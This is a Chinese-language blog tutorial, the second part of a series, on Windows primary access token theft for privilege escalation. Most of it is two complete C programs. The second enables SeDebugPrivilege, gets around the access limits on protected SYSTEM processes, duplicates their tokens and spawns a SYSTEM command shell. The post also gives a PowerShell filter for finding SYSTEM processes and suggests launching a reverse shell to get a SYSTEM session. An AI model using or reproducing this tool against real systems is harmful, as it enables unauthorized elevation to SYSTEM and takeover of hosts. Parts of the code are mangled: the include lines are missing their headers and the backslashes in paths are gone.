Primary Access Token Manipulation Attack(令牌操作攻击下)

  • A+

在上文中我们了解了对应的过程,本文我们将讲解该种攻击的具体实现细节.。

进行这种攻击我们需要几个windows api他们的名称以及作用如下:

截图.png

过程是:

language
openprocess() --> openprocesstoken() --> impersonateloggedonuser()--> duplicatetokenex() --> createprocesswithtokenw()

然后我们可以轻易的写出一个窃取令牌并启动程序的例子,我这里以irde的代码为例:

```C

include "stdafx.h"

include

include

int main(int argc, char * argv[]) {
char a;
HANDLE processHandle;
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
DWORD PID_TO_IMPERSONATE = 3060;
wchar_t cmdline[] = L"C:shell.cmd";
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, true, PID_TO_IMPERSONATE);
OpenProcessToken(processHandle, TOKEN_ALL_ACCESS, &tokenHandle);
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, NULL, cmdline, 0, NULL, NULL, &startupInfo, &processInformation);
std::cin >> a;
return 0;
}

```

运行该程序,我们就可以获得一个3060进程令牌权限运行的shell.cmd的进程。当然,你需要有这个进程的访问权限。

然后我们继续该问题的探究,上文的运行程序+pid号,获得cmd的程序是primarytokentheft,可以在github上找到。

然后我们就实现了上述功能得到了一个system的cmd:

截图 1.png

但是也并不是所有的进程都都是可以被操作的,比如看下面的这个图:

截图 2.png

我们可以清楚的看到wmiprvse进程便无法被打开,主要是无法打开token。
那么为什么会出现这种问题呢?

对比两个程序,我们可以轻易的看到其中的区别:

截图 3.png

截图 4.png

那么怎么样才能绕过这种限制,让我们的可以随意操作任意进程的令牌呢?先不急,我们先看一下所有的令牌,因为我们的目的就是获取system令牌。

使用下面的脚本进行获取(https://gist.githubusercontent.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56/raw/eaddf4151ebe4345623b7066a2c768665805fcad/Get-Token.ps1)

截图 5.png

然后简单修改下,变成只获取system权限的进程:

```language
get-token | where-object {$.username -eq 'NT AUTHORITYSYSTEM' -and $.ownername -ne 'NT AUTHORITYSYSTEM'} | select-object processname,processsid|format-table

```
这样列出的进程和进程号,是只为system权限的进程。

然后经过测试发现像csrss、service、wininit、smss等token获取失败

截图 6.png

查看发现存在同一个问题:存在protect

根据微软文档,我们可以知道

截图 7.png

只需要在openprocess中将第一个参数改成PROCESS_QUERY_LIMITED_INFORMATION即可。

那么只需要在primarytokentheft里面加一个判断即可,修改后的代码如下:

```C

include

include

include

BOOL SetPrivilege(
HANDLE hToken,

LPCTSTR lpszPrivilege,
BOOL bEnablePrivilege

)
{
TOKEN_PRIVILEGES tp;
LUID luid;

if (!LookupPrivilegeValue(
    NULL,          
    lpszPrivilege,   
    &luid))       
{
    printf("[-] LookupPrivilegeValue error: %un", GetLastError());
    return FALSE;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
    tp.Privileges[0].Attributes = 0;



if (!AdjustTokenPrivileges(
    hToken,
    FALSE,
    &tp,
    sizeof(TOKEN_PRIVILEGES),
    (PTOKEN_PRIVILEGES)NULL,
    (PDWORD)NULL))
{
    printf("[-] AdjustTokenPrivileges error: %un", GetLastError());
    return FALSE;
}

if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

{
    printf("[-] The token does not have the specified privilege. n");
    return FALSE;
}

return TRUE;

}

std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}

int main(int argc, char** argv) {

if (argc <= 1) {
    printf("USAGE: TokenSteal.exe Process PID");
    return -1;
}
printf("Primary Access Token Manipulation by lengyi nn");
printf("[+] Current user is: %sn", (get_username()).c_str());


char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);


HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);


HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
    printf("[+] SeDebugPrivilege enabled!n");
}


HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
    printf("[+] OpenProcess() success!n");
else
{
    HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
    if (GetLastError() == NULL) {
        printf("[+] OpenProcess() success!n");
    }
    else
    {
        printf("[-] OpenProcess() Return Code: %in", processHandle);
        printf("[-] OpenProcess() Error: %in", GetLastError());
    }
}


BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
if (GetLastError() == NULL)
    printf("[+] OpenProcessToken() success!n");
else
{
    printf("[-] OpenProcessToken() Return Code: %in", getToken);
    printf("[-] OpenProcessToken() Error: %in", GetLastError());
}


BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
    printf("[+] ImpersonatedLoggedOnUser() success!n");
    printf("[+] Current user is: %sn", (get_username()).c_str());
    printf("[+] Reverting thread to original user contextn");
    RevertToSelf();
}
else
{
    printf("[-] ImpersonatedLoggedOnUser() Return Code: %in", getToken);
    printf("[-] ImpersonatedLoggedOnUser() Error: %in", GetLastError());
}

BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
    printf("[+] DuplicateTokenEx() success!n");
else
{
    printf("[-] DuplicateTokenEx() Return Code: %in", duplicateToken);
    printf("[-] DupicateTokenEx() Error: %in", GetLastError());
}


BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\Windows\System32\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
    printf("[+] Process spawned!n");
else
{
    printf("[-] CreateProcessWithTokenW Return Code: %in", createProcess);
    printf("[-] CreateProcessWithTokenW Error: %in", GetLastError());
}

return 0;

}

```
此时,我们便可以获取任意进程的token:

截图 8.png

将启动cmd更改为我们的反弹shell程序,即可获取的一个system的session:

截图 9.png

截图 10.png

参考文章:

https://attack.mitre.org/techniques/T1134/

https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw

https://docs.microsoft.com/zh-cn/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex?redirectedfrom=MSDN

https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

相关推荐: 一篇文章让你了解溢出漏洞

溢出漏洞 下面的内容皆是自己的一些理解,没有太多专业术语。 溢出漏洞说白了就是对边界没有检验,而导致原先不应该在这里的数据反而阴差阳错的出现在了这里。 我大体的对溢出漏洞分为了两种: 数据溢出 缓冲区溢出 第一种数据溢出应用场景主要是针对外挂和破解 第二种缓冲…